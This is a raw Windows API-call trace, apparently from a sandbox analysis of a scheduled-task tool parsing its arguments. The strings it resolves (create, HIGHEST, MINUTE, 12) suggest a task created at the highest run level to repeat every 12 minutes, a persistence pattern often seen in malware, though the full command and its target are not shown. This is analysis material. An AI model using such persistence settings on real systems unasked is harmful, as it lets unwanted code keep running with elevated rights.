lstrlenW (lpString="f") returned 1 [0067.172] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.172] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|create|") returned 8 [0067.172] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.172] lstrlenW (lpString="|create|") returned 8 [0067.172] lstrlenW (lpString="|f|") returned 3 [0067.172] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0067.172] SetLastError (dwErrCode=0x490) [0067.172] lstrlenW (lpString="?") returned 1 [0067.172] lstrlenW (lpString="?") returned 1 [0067.172] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.173] lstrlenW (lpString="f") returned 1 [0067.173] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.173] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|?|") returned 3 [0067.173] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.173] lstrlenW (lpString="|?|") returned 3 [0067.173] lstrlenW (lpString="|f|") returned 3 [0067.173] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0067.173] SetLastError (dwErrCode=0x490) [0067.173] lstrlenW (lpString="s") returned 1 [0067.173] lstrlenW (lpString="s") returned 1 [0067.173] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.173] lstrlenW (lpString="f") returned 1 [0067.173] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.173] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|s|") returned 3 [0067.173] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.173] lstrlenW (lpString="|s|") returned 3 [0067.173] lstrlenW (lpString="|f|") returned 3 [0067.173] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0067.173] SetLastError (dwErrCode=0x490) [0067.173] lstrlenW (lpString="u") returned 1 [0067.173] lstrlenW (lpString="u") returned 1 [0067.173] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.173] lstrlenW (lpString="f") returned 1 [0067.173] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.174] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|u|") returned 3 [0067.174] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.174] lstrlenW (lpString="|u|") returned 3 [0067.174] lstrlenW (lpString="|f|") returned 3 [0067.174] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0067.174] SetLastError (dwErrCode=0x490) [0067.174] lstrlenW (lpString="p") returned 1 [0067.174] lstrlenW (lpString="p") returned 1 [0067.174] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.174] lstrlenW (lpString="f") returned 1 [0067.174] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.174] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|p|") returned 3 [0067.174] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.174] lstrlenW (lpString="|p|") returned 3 [0067.174] lstrlenW (lpString="|f|") returned 3 [0067.174] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0067.174] SetLastError (dwErrCode=0x490) [0067.174] lstrlenW (lpString="ru") returned 2 [0067.174] lstrlenW (lpString="ru") returned 2 [0067.174] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.174] lstrlenW (lpString="f") returned 1 [0067.174] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.174] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ru|") returned 4 [0067.174] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.175] lstrlenW (lpString="|ru|") returned 4 [0067.175] lstrlenW (lpString="|f|") returned 3 [0067.175] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0067.175] SetLastError (dwErrCode=0x490) [0067.175] lstrlenW (lpString="rp") returned 2 [0067.175] lstrlenW (lpString="rp") returned 2 [0067.175] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.175] lstrlenW (lpString="f") returned 1 [0067.175] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.175] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rp|") returned 4 [0067.175] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.175] lstrlenW (lpString="|rp|") returned 4 [0067.175] lstrlenW (lpString="|f|") returned 3 [0067.175] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0067.175] SetLastError (dwErrCode=0x490) [0067.175] lstrlenW (lpString="sc") returned 2 [0067.175] lstrlenW (lpString="sc") returned 2 [0067.175] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.175] lstrlenW (lpString="f") returned 1 [0067.175] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.175] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.175] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.175] lstrlenW (lpString="|sc|") returned 4 [0067.175] lstrlenW (lpString="|f|") returned 3 [0067.175] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0067.176] SetLastError (dwErrCode=0x490) [0067.176] lstrlenW (lpString="mo") returned 2 [0067.176] lstrlenW (lpString="mo") returned 2 [0067.176] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.176] lstrlenW (lpString="f") returned 1 [0067.176] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.176] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.176] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.176] lstrlenW (lpString="|mo|") returned 4 [0067.176] lstrlenW (lpString="|f|") returned 3 [0067.176] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0067.176] SetLastError (dwErrCode=0x490) [0067.176] lstrlenW (lpString="d") returned 1 [0067.176] lstrlenW (lpString="d") returned 1 [0067.176] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.176] lstrlenW (lpString="f") returned 1 [0067.176] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.176] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|d|") returned 3 [0067.176] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.176] lstrlenW (lpString="|d|") returned 3 [0067.176] lstrlenW (lpString="|f|") returned 3 [0067.176] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0067.176] SetLastError (dwErrCode=0x490) [0067.176] lstrlenW (lpString="m") returned 1 [0067.176] lstrlenW (lpString="m") returned 1 [0067.176] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.177] lstrlenW (lpString="f") returned 1 [0067.177] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.177] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|m|") returned 3 [0067.177] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.177] lstrlenW (lpString="|m|") returned 3 [0067.177] lstrlenW (lpString="|f|") returned 3 [0067.177] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0067.177] SetLastError (dwErrCode=0x490) [0067.177] lstrlenW (lpString="i") returned 1 [0067.177] lstrlenW (lpString="i") returned 1 [0067.177] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.177] lstrlenW (lpString="f") returned 1 [0067.177] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.177] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|i|") returned 3 [0067.177] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.177] lstrlenW (lpString="|i|") returned 3 [0067.177] lstrlenW (lpString="|f|") returned 3 [0067.177] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0067.177] SetLastError (dwErrCode=0x490) [0067.177] lstrlenW (lpString="tn") returned 2 [0067.177] lstrlenW (lpString="tn") returned 2 [0067.177] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.177] lstrlenW (lpString="f") returned 1 [0067.177] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.178] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.178] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.178] lstrlenW (lpString="|tn|") returned 4 [0067.178] lstrlenW (lpString="|f|") returned 3 [0067.178] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0067.178] SetLastError (dwErrCode=0x490) [0067.178] lstrlenW (lpString="tr") returned 2 [0067.178] lstrlenW (lpString="tr") returned 2 [0067.178] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.178] lstrlenW (lpString="f") returned 1 [0067.178] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.178] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.178] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.178] lstrlenW (lpString="|tr|") returned 4 [0067.178] lstrlenW (lpString="|f|") returned 3 [0067.178] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0067.178] SetLastError (dwErrCode=0x490) [0067.178] lstrlenW (lpString="st") returned 2 [0067.178] lstrlenW (lpString="st") returned 2 [0067.178] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.178] lstrlenW (lpString="f") returned 1 [0067.178] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.178] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|st|") returned 4 [0067.178] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.178] lstrlenW (lpString="|st|") returned 4 [0067.179] lstrlenW (lpString="|f|") returned 3 [0067.179] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0067.179] SetLastError (dwErrCode=0x490) [0067.179] lstrlenW (lpString="sd") returned 2 [0067.179] lstrlenW (lpString="sd") returned 2 [0067.179] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.179] lstrlenW (lpString="f") returned 1 [0067.179] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.179] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sd|") returned 4 [0067.179] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.179] lstrlenW (lpString="|sd|") returned 4 [0067.179] lstrlenW (lpString="|f|") returned 3 [0067.179] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0067.179] SetLastError (dwErrCode=0x490) [0067.179] lstrlenW (lpString="ed") returned 2 [0067.179] lstrlenW (lpString="ed") returned 2 [0067.179] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.179] lstrlenW (lpString="f") returned 1 [0067.179] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.179] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ed|") returned 4 [0067.179] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.179] lstrlenW (lpString="|ed|") returned 4 [0067.179] lstrlenW (lpString="|f|") returned 3 [0067.179] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0067.179] SetLastError (dwErrCode=0x490) [0067.180] lstrlenW (lpString="it") returned 2 [0067.180] lstrlenW (lpString="it") returned 2 [0067.180] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.180] lstrlenW (lpString="f") returned 1 [0067.180] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.180] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|it|") returned 4 [0067.180] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.180] lstrlenW (lpString="|it|") returned 4 [0067.180] lstrlenW (lpString="|f|") returned 3 [0067.180] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0067.180] SetLastError (dwErrCode=0x490) [0067.180] lstrlenW (lpString="et") returned 2 [0067.180] lstrlenW (lpString="et") returned 2 [0067.180] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.180] lstrlenW (lpString="f") returned 1 [0067.180] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.180] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|et|") returned 4 [0067.180] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.180] lstrlenW (lpString="|et|") returned 4 [0067.180] lstrlenW (lpString="|f|") returned 3 [0067.180] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0067.180] SetLastError (dwErrCode=0x490) [0067.180] lstrlenW (lpString="k") returned 1 [0067.180] lstrlenW (lpString="k") returned 1 [0067.180] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.181] lstrlenW (lpString="f") returned 1 [0067.181] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.181] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|k|") returned 3 [0067.181] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.181] lstrlenW (lpString="|k|") returned 3 [0067.181] lstrlenW (lpString="|f|") returned 3 [0067.181] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0067.181] SetLastError (dwErrCode=0x490) [0067.181] lstrlenW (lpString="du") returned 2 [0067.181] lstrlenW (lpString="du") returned 2 [0067.181] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.181] lstrlenW (lpString="f") returned 1 [0067.181] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.181] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|du|") returned 4 [0067.181] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.181] lstrlenW (lpString="|du|") returned 4 [0067.181] lstrlenW (lpString="|f|") returned 3 [0067.181] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0067.181] SetLastError (dwErrCode=0x490) [0067.181] lstrlenW (lpString="ri") returned 2 [0067.181] lstrlenW (lpString="ri") returned 2 [0067.181] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.181] lstrlenW (lpString="f") returned 1 [0067.181] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.182] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ri|") returned 4 [0067.182] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.182] lstrlenW (lpString="|ri|") returned 4 [0067.182] lstrlenW (lpString="|f|") returned 3 [0067.182] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0067.182] SetLastError (dwErrCode=0x490) [0067.182] lstrlenW (lpString="z") returned 1 [0067.182] lstrlenW (lpString="z") returned 1 [0067.182] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.182] lstrlenW (lpString="f") returned 1 [0067.182] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.182] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|z|") returned 3 [0067.182] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.182] lstrlenW (lpString="|z|") returned 3 [0067.182] lstrlenW (lpString="|f|") returned 3 [0067.182] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0067.182] SetLastError (dwErrCode=0x490) [0067.182] lstrlenW (lpString="f") returned 1 [0067.182] lstrlenW (lpString="f") returned 1 [0067.182] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.182] lstrlenW (lpString="f") returned 1 [0067.182] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.182] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.182] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.183] lstrlenW (lpString="|f|") returned 3 [0067.183] lstrlenW (lpString="|f|") returned 3 [0067.183] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0067.183] SetLastError (dwErrCode=0x0) [0067.183] SetLastError (dwErrCode=0x0) [0067.183] GetProcessHeap () returned 0x170000 [0067.183] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cfa0 [0067.183] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.183] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0067.183] lstrlenW (lpString="LIMITED") returned 7 [0067.183] GetProcessHeap () returned 0x170000 [0067.183] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d740 [0067.183] GetThreadLocale () returned 0x409 [0067.183] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0067.183] GetProcessHeap () returned 0x170000 [0067.183] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cf70 [0067.183] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.183] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0067.183] lstrlenW (lpString="HIGHEST") returned 7 [0067.183] GetProcessHeap () returned 0x170000 [0067.183] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d760 [0067.183] GetThreadLocale () returned 0x409 [0067.183] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0067.184] GetProcessHeap () returned 0x170000 [0067.184] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cf40 [0067.184] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.184] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0067.184] lstrlenW (lpString="MINUTE") returned 6 [0067.184] GetProcessHeap () returned 0x170000 [0067.184] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d780 [0067.184] GetThreadLocale () returned 0x409 [0067.184] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0067.184] SetLastError (dwErrCode=0x0) [0067.184] GetProcessHeap () returned 0x170000 [0067.184] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x1fc) returned 0x18c6f0 [0067.184] GetProcessHeap () returned 0x170000 [0067.184] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cf10 [0067.184] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.184] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0067.184] lstrlenW (lpString="First") returned 5 [0067.184] GetProcessHeap () returned 0x170000 [0067.184] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xc) returned 0x18d7a0 [0067.184] GetProcessHeap () returned 0x170000 [0067.184] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cee0 [0067.185] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.185] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0067.185] lstrlenW (lpString="Second") returned 6 [0067.185] GetProcessHeap () returned 0x170000 [0067.185] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d7c0 [0067.185] GetProcessHeap () returned 0x170000 [0067.185] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ceb0 [0067.185] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.185] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0067.185] lstrlenW (lpString="Third") returned 5 [0067.185] GetProcessHeap () returned 0x170000 [0067.185] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xc) returned 0x18d7e0 [0067.185] GetProcessHeap () returned 0x170000 [0067.185] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce80 [0067.185] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.185] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0067.185] lstrlenW (lpString="Fourth") returned 6 [0067.185] GetProcessHeap () returned 0x170000 [0067.185] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d800 [0067.185] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.185] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0067.185] lstrlenW (lpString="Last") returned 4 [0067.185] GetProcessHeap () returned 0x170000 [0067.185] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xa) returned 0x18d820 [0067.185] lstrlenW (lpString="12") returned 2 [0067.185] _wtol (_String="12") returned 12 [0067.186] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.186] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0067.186] lstrlenW (lpString="First") returned 5 [0067.186] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.186] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0067.186] lstrlenW (lpString="Second") returned 6 [0067.186] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.186] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0067.186] lstrlenW (lpString="Third") returned 5 [0067.186] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.186] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0067.186] lstrlenW (lpString="Fourth") returned 6 [0067.186] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.186] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0067.186] lstrlenW (lpString="Last") returned 4 [0067.186] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c5a0, cchData=128 | out: lpLCData="0") returned 2 [0067.186] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.187] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0067.187] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0067.187] GetProcessHeap () returned 0x170000 [0067.187] GetProcessHeap () returned 0x170000 [0067.187] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7a0) returned 1 [0067.187] GetProcessHeap () returned 0x170000 [0067.187] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d7a0) returned 0xc [0067.187] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d7a0 | out: hHeap=0x170000) returned 1 [0067.187] GetProcessHeap () returned 0x170000 [0067.187] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x16) returned 0x18d7a0 [0067.187] 